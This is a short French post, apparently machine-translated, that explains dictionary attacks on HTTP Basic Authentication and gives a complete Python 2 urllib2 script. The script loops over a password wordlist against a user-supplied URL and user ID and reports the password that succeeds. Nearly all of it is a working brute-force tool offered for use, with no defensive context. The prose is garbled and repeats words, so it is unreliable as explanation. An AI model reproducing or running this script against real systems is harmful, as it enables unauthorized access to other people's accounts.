L'authentification de base ne vous oblige pas à utiliser de force quelque chose comme l'interface graphique. Dans urllib2, il existe une classe qui effectue normalement l'authentification de base. L'authentification de base peut être une attaque circulaire ou une attaque par dictionnaire tant que vous connaissez l'ID. C'est une technique très agressive, mais si vous êtes chanceux ou chanceux, vous pouvez trouver le mot de passe.
python
import urllib2, sys, time
class Attack:
def __init__(self, url, userid, dictionary_file):
self.url = url
self.userid = userid
self.password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
self.dictionary_file = dictionary_file
def main(self):
with open(self.dictionary_file, "r") as f:
print "[INFO]: Loading..."
lines = f.readlines()
for password in lines:
try:
self.password_mgr.add_password(None, url, self.userid, password)
handler = urllib2.HTTPBasicAuthHandler(self.password_mgr)
opener = urllib2.build_opener(handler)
urllib2.install_opener(opener)
html = urllib2.urlopen(url)
print "[yes]: password=%s" % (password)
break
except Exception, e:
print "[no]: password=%s" % (password)
if __name__ == "__main__":
url = raw_input("Url >>> ")
userid = raw_input("Userid >>> ")
dictionary_file = raw_input("Dictionary file >>> ")
Attack_ = Attack(url, userid, dictionary_file)
Attack_.main()
Recommended Posts